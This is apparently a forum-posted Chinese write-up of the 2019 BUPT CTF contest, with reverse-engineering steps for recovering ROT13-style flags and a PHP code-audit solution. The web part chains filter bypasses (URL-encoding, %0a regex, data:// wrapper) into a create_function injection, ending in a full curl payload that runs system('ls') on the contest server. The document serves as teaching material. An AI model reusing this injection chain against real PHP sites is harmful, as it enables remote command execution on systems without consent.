2019年“北邮网安杯”解题报告


2019北邮网安”解题报告

RE

Re1 simple check-in!

1.先放进PeiD,看文件类型。(方便后面用IDA的时候知道选择哪个系统版本的IDA

1.png

2. 拖入IDA中,按R转换就出来flag了。


2.png

Re2

1.先放进PeiD,看文件类型。(方便后面用IDA的时候知道选择哪个系统版本的IDA

2.拖入IDA中,查看sub_401000,应该是一个自加密,解密一下,正常了。

得到加密程序:

bool __cdecl sub_401000(const char *a1)

{

  signed int v1; // ecx@3

  const char v2; // al@4

  const char v3; // dl@6

  char v5; // [sp+0h] [bp-24h]@3

  char v6; // [sp+1h] [bp-23h]@3

  char v7; // [sp+2h] [bp-22h]@3

  char v8; // [sp+3h] [bp-21h]@3

  char v9; // [sp+4h] [bp-20h]@3

  char v10; // [sp+5h] [bp-1Fh]@3

  char v11; // [sp+6h] [bp-1Eh]@3

  char v12; // [sp+7h] [bp-1Dh]@3

  char v13; // [sp+8h] [bp-1Ch]@3

  char v14; // [sp+9h] [bp-1Bh]@3

  char v15; // [sp+Ah] [bp-1Ah]@3

  char v16; // [sp+Bh] [bp-19h]@3

  char v17; // [sp+Ch] [bp-18h]@3

  char v18; // [sp+Dh] [bp-17h]@3

  char v19; // [sp+Eh] [bp-16h]@3

  char v20; // [sp+Fh] [bp-15h]@3

  char v21; // [sp+10h] [bp-14h]@3

  char v22; // [sp+11h] [bp-13h]@3

  char v23; // [sp+12h] [bp-12h]@3

  char v24; // [sp+13h] [bp-11h]@3

  char v25; // [sp+14h] [bp-10h]@3

  char v26; // [sp+15h] [bp-Fh]@3

  char v27; // [sp+16h] [bp-Eh]@3

  char v28; // [sp+17h] [bp-Dh]@3

  char v29; // [sp+18h] [bp-Ch]@3

  char v30; // [sp+19h] [bp-Bh]@3

  char v31; // [sp+1Ah] [bp-Ah]@3

  char v32; // [sp+1Bh] [bp-9h]@3

  char v33; // [sp+1Ch] [bp-8h]@3

  int v34; // [sp+20h] [bp-4h]@1

 

  v34 = *(_BYTE *)(*(_DWORD *)(__readfsdword(24) + 48) + 2);

  if ( !v34 )

    exit(0);

  v15 = 103;

  v20 = 103;

  v31 = 103;

  v5 = 79;

  v6 = 72;

  v7 = 67;

  v8 = 71;

  v9 = 123;

  v10 = 74;

  v11 = 98;

  v12 = 106;

  v13 = 95;

  v14 = 52;

  v16 = 102;

  v17 = 95;

  v18 = 101;

  v19 = 66;

  v21 = 95;

  v22 = 121;

  v23 = 54;

  v24 = 95;

  v25 = 114;

  v26 = 97;

  v27 = 112;

  v28 = 101;

  v29 = 108;

  v30 = 99;

  v32 = 125;

  v33 = 0;

  v1 = 0;

  do

  {

    v2 = a1[v1];

    if ( v2 >= 97 && v2 <= 122 )

    {

      v3 = (v2 - 84) % 26 + 97;

LABEL_13:

      a1[v1] = v3;

      goto LABEL_14;

    }

    if ( v2 >= 65 && v2 <= 90 )

    {

      v3 = (v2 - 52) % 26 + 65;

      goto LABEL_13;

    }

    if ( v2 >= 48 && v2 <= 57 )

    {

      v3 = (v2 - 35) % 10 + 48;

      goto LABEL_13;

    }

LABEL_14:

    ++v1;

  }

  while ( v1 < 28 );

  return strcmp(&v5, a1) != 0;

}

3.根据ascii码可以看出 是一个凯撒密码

4.看到了123 125 {}

5.简单的转换下 ,得到一串字符串:OHCG{Jbj_4gf_eBg_y6_rapelcg}

v=[79,72,67,71,123,74,98,106,95,52,103,102,95,101,66,103,95,121,54,95,114,97,112,101,108,99,103,125]

s=''

for i in v:

    s+=chr(i)

    print s

6.能看出来是rot13,但是提交上去不对,想到了rot13并没有将数字偏移,于是将数字也处理下, +10-13

4+10-13=1

6+10-13=3

所以 4替换为16替换为3

得到flag   BUPT{Wow_1ts_rOt_l3_encrypt}

WEB

easy php  PHP is the best language!

备注:这题的几个考点就是1.$_REQUEST的变量覆盖2.编码绕过3.PHP数组特性4.正则绕过

5. file_get_contents函数6.creat_function

1. 这题代码审计,那么几个条件,输出都是一样,为了避免出错,还是本地搭建测试一波,die出来都不一样到时候也好判断哪里出错了。

3.png
 

2.第一处

if($_REQUEST) {  

    foreach($_REQUEST as $key=>$value) {  

        if(preg_match('/[a-zA-Z]/i', $value))   

            die('111');  

 

这里就是$_GET,$_POST,$_COOKIE传进来的值进行了正则匹配,如果包含了A-Za-z的字母就返回111这里的$_REQUEST有一个特性,就是当GETPOST都存在同一个变量名的时候,只获取POST中的值,所以可以通过这个特性来绕过正则的匹配

2.

if($_SERVER) {  

    if (preg_match('/flag|liupi|bupt/i', $_SERVER['QUERY_STRING']))   

        die('222');  

}  

这里就选择urlencode来绕过

3.

$ia = "index.php";  

if (preg_match('/^buptisfun$/', $_GET['bupt']) && $_GET['bupt'] !== 'buptisfun') {  

    $ia = $_GET["ia"];  

}

%0a换行符绕过

4.

if(file_get_contents($ia)!=='buptisfun') {  

    die('333');  

}  

data://绕过

5.

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {  

    die('444');  

} else {  

    $action('', $arg);  

}  

creat_function绕过

6. 最终在vps上面用curl过去就行;

Payloadcurl "https://ctf8081.bupt.edu.cn/?%62%75%70%74=%62%75%70%74%69%73%66%75%6e%0a&ia=data://,%62%75%70%74%69%73%66%75%6e&%6c%69%75%70%69[]=&%66%6c%61%67[action]=\\create_function&%66%6c%61%67[arg]=return%20123;\}system('ls');//" -d "bupt=123&ia=123&arg=123"

4.png

得到flag BUPT{PHP_Bl@ck_Tech_1s_Interesting}

最新回复 (2)
  • 小版主 lzy 6月前
    0 2
    这就是大佬与小白之间的差距吧,看半天没看懂....
  • 小白 hoaoaihuong 1月前
    0 3

    安徽11选5 谢谢帮忙

返回
发新帖